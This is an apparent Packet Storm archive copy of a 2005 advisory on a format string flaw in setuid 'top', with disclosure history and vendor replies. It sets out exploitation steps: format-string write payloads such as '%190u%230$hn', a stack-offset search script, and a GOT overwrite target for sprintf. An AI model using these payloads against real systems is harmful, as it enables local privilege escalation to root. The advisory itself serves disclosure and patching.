Exploit the possiblities

DMA-2005-0103a.txt

DMA-2005-0103a.txt
Posted Jan 5, 2005
Authored by Kevin Finisterre

An old format string vulnerability in setuid versions of top has popped back up in the Solaris 10 Companion CD.

tags | advisory
systems | solaris
MD5 | f282577de5d9528cd1589872e9513731

DMA-2005-0103a.txt

Change Mirror Download
DMA[2005-0103a] - 'William LeFebvre "top" format string vulnerability'
Author: Kevin Finisterre
Vendor: http://www.groupsys.com/top, http://sourceforge.net/projects/unixtop
Product: 'unixtop'
References: http://www.securityfocus.com/bid/1895

Description: In October of 2000 'vort-fu' aka Ben Bidner located and wrote a
patch for a vulnerability in top. Somehow the original author William LeFebvre
was never notified about the issue. Over four years later the vulnerability
still remained in Williams code. Recently LeFebvre was notified about the bug
and the issue has since been patched.

This vulnerability has popped up in multiple places over the years. OpenBSD,
FreeBSD, SCO Skunkware, and Solaris have all been subject to this vulnerability.
Anyone that has compiled the unixtop packages by hand is also potentially
vulnerable assuming that permissions permit. Most recently this bug popped up
on the Solaris 10 Companion CD complements of Sunfreeware.

As mentioned above if you compiled top by hand you *may* be vulnerable. This is
because during installation of unixtop you are prompted with the following
dialog:

--snip--
I'm going to assume that top needs to run setuid to root, but you
should double check and use mode 2755 (set group id) if top doesn't
really need root access. If you are running SunOS 5.0 through SunOS
5.5.1 (that's Solaris 2.0 through Solaris 2.5.1) then you will need to
install top setuid root (owner root and mode 4711). In SunOS 5.6
and higher top only requires set group id sys permissions.

Tell me how to set the following when top is installed:
Owner [root]:
Group owner [32600]:
Mode [4711]:
--snip--

If you select all defaults you will have the following binary that is setuid
root.

linux:/home/kfinisterre/top-3.5 # ls -al /usr/local/bin/top
-rws--x--x 1 root 32600 44550 2004-12-09 00:22 /usr/local/bin/top

SeungHyun Seo created an exploit somewhere around a year after the bug was
first found. The header of his code outlines a technique for exploiting the
bug.

/*
* freebsd x86 top exploit
* affected under top-3.5beta9 ( including this version )
*
* 1. get the address of .dtors from /usr/bin/top using objdump ,
*
* 'objdump -s -j .dtors /usr/bin/top'
*
* 2. divide it into four parts, and set it up into an environment variable
* like "XSEO="
*
* 3. run top, then find "your parted addresses from "kill" or "renice"
* command like this
*
* 'k %200$p' or 'r 2000 %200$p'
*
* 4. do exploit !
*
* 'k %190u%230$hn' <== 0xbf (4)
* 'k %190u%229$hn' <== 0xbf (3)
* 'k %214u%228$hn' <== 0xd7 (2)
* 'k %118u%227$hn' <== 0x77 (1)
*
* truefinder , seo igrus inha ac kr
* thx mat, labman, zen-parse
*
*/

By default top runs with the -i Use "interactive" mode enabled. In this mode,
any input is immediately read for processing. For us this means that we don't
actually have to open top and manually type stuff out while exploiting this
issue as Seo did.

kfinisterre@jdam:~/top-3.5> echo k %n%n%n | ./top

last pid: 7603; load averages: 0.05, 0.19, 0.26 00:25:07
68 processes: 1 running, 67 sleeping
CPU states: % user, % nice, % system, % idle
Memory:
kill %n%n%n%n%nSegmentation fault

If we look at the issue in gdb we can see where the problem lies in the
codebase. In this case the problem is caused by an unformatted new_message()
call in the kill routine.

(gdb) bt
#0 0x400cdd83 in vfprintf () from /lib/tls/libc.so.6
#1 0x400e5ffb in vsprintf () from /lib/tls/libc.so.6
#2 0x400d338b in sprintf () from /lib/tls/libc.so.6
#3 0x0804b6c9 in new_message ()
#4 0x0804a04d in main ()
(gdb)

new_message() winds up calling sprintf with our user supplied data in the
msgfmt variable listed below.

/* first, format the message */
(void) sprintf(next_msg, msgfmt, a1, a2, a3);

The code below is what caused the issue to begin with. A simple fix would
be to replace: new_message(MT_standout, errmsg); with
new_message(MT_standout, "%s", errmsg);

static char tempbuf2[50];
...
case CMD_kill: /* kill program */
new_message(0, "kill ");
if (readline(tempbuf2, sizeof(tempbuf2), No) > 0)
{
if ((errmsg = kill_procs(tempbuf2)) != NULL)
{
new_message(MT_standout, errmsg);
putchar('\r');
no_command = Yes;
}
}

If you examine the code snippet above you will find that the input buffer
is limited to 50 chars in length. This limit obviously makes exploitation
a little more interesting.

When exploiting the issue there is no need to reinvent the wheel so we can
make use of some of Seo's existing technique. Seo placed his write addresses
in an environment variable so lets begin there. A quick script helps us
locate our user input on the stack.

kfinisterre@jdam:~/top-3.5> cat find.sh
#!/bin/bash
cnt=250
until [ "$cnt" = "254" ]
do
export DM=`echo -e "--AAAABBBB----"`
echo $counter:
echo k *\%$cnt\$x* | strace -o file -s100 ./top
grep "Not a number" file
let cnt+=1
done

kfinisterre@jdam:~/top-3.5> ./find.sh
250:
write(1, "\r\33[7m *41414141*: Not a number\33[27m\r", 36) = 36
251:
write(1, "\r\33[7m *42424242*: Not a number\33[27m\r", 36) = 36
252:
write(1, "\r\33[7m *2d2d2d2d*: Not a number\33[27m\r", 36) = 36
253:
write(1, "\r\33[7m *4e414d00*: Not a number\33[27m\r", 36) = 36

Now that we have our input we should find a memory location to overwrite.
sprintf() is called after new_message() so lets overwrite it. You could of
course find a better place to overwrite, sprintf could yield some unexpected
results later on.

kfinisterre@jdam:~/top_ex$ objdump -R top | grep sprintf
0804f340 R_386_JUMP_SLOT sprintf

Keep in mind when you are writing an exploit for this that the memory offsets
are highly touchy in regards to what environment variables are set. You should
set a variable that contains your write addresses and then attempt to locate
them via various format strings. Stashing your shellcode and nops somewhere
close by would probably be a good idea as well.

Using a format string of "%.100d.%180$x" should output something similar to
the following string if you chose to overwrite sprintf() as described above:

...0000000000000000000000000000000000000000000.804f340: Not a number

At this point you have all you need to write an exploit for this issue,
a write address, the offsets to your user input, and a method to remove the
user interaction required for exploitation. Top has some quirks that make
explioting this bug tricky but it can be done.

I have attached a semi-functional PoC exploit, however it needs a little
TLC before it can be used to hand out a full blown root prompt.

Hopefully there can finally be some closure on this vulnerability and maybe we
can learn something from how the disclosure in this case was handled? Some of
you probably learned that if you don't tell the author about a bug you can let
it fester in the codebase and exploit it for years on end. Others hopefully
learned that perhaps its a good idea to notify the original author of the code
when a security issue comes up.

Both Sun and William responded as follows:

William LeFebvre :

Kevin: thanks for bringing this to my attention. This is indeed the first I
have heard of this particular vulnerability. I will see that it is fixed in
the source and I will have to release version 3.5.1 with the fix in place. I
will let everyone know when that is done.

As for set-uid-ness: any solaris system that supports psinfo does not need
top installed setuid. Current install scripts install it setgid to sys, but
I have not recently evaluated if that is even necessary anymore. Please do not
build packages that install top setuid for Solaris 2.6 and up!

--------- Security Coordination Team:

Thanks William for updating the sources,
We have requested the engineers responsible for Solaris Companion CD
and web-download http://wwws.sun.com/software/solaris/freeware/
to upgrade the packages. You would see new packages whenever the next
Solaris Companion CD is built.

www.sunfreeware.com is not maintained by Sun.
We have requested the Steven M. Christensen of Steven M. Christensen and
Associates, Inc. to upgrade top.

Best regards,
Sun Security Coordination Team
security-alert@sun.com

---------

Timeline associated with this bug:

vort-fu on Wed, 4 Oct 2000 15:28:22 +1100 (EST) submits "diffs for top" to
bugs@openbsd.org and deraadt@openbsd.org
http://monkey.org/openbsd/archive/bugs/0010/msg00008.html

Todd C. Miller on Wed, 4 Oct 2000 15:19:38 -0600 (MDT) updates the cvs source.
http://monkey.org/openbsd/archive/source-changes/0010/msg00093.html

FreeBSD Security Advisories on Wed, 1 Nov 2000 14:59:54 -0800 releases
Security Advisory FreeBSD-SA-00:62
http://www.securityfocus.com/archive/1/143508/2004-03-21/2004-03-27/2

The threads after the FreeBSD release pretty much involve some mud slinging
about proper notification. Which is kind of ironic...
http://www.securityfocus.com/archive/1/143844/2004-03-21/2004-03-27/1

SeungHyun Seo on Wed, 25 Jul 2001 19:24:29 +0900 (KST) releases the
"freebsd x86 top exploit" for versions <= top-3.5beta9.
http://www.securityfocus.com/archive/1/199411

Kevin Finisterre on Wed, 14 Nov 2001 11:54:30 -0500 releases and advisory
outlining a "SCO skunkware top format strings issue"
http://www.securityfocus.com/archive/1/240161

Kevin Finisterre On Wed, 2004-11-24 at 04:38 notifies the vendor! 4 years
later! This bug was found alive and kicking in the Solaris 10 Sun freeware
package.

-KF

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    15 Files
  • 2
    Dec 2nd
    2 Files
  • 3
    Dec 3rd
    1 Files
  • 4
    Dec 4th
    15 Files
  • 5
    Dec 5th
    15 Files
  • 6
    Dec 6th
    18 Files
  • 7
    Dec 7th
    17 Files
  • 8
    Dec 8th
    15 Files
  • 9
    Dec 9th
    13 Files
  • 10
    Dec 10th
    4 Files
  • 11
    Dec 11th
    41 Files
  • 12
    Dec 12th
    44 Files
  • 13
    Dec 13th
    25 Files
  • 14
    Dec 14th
    15 Files
  • 15
    Dec 15th
    28 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close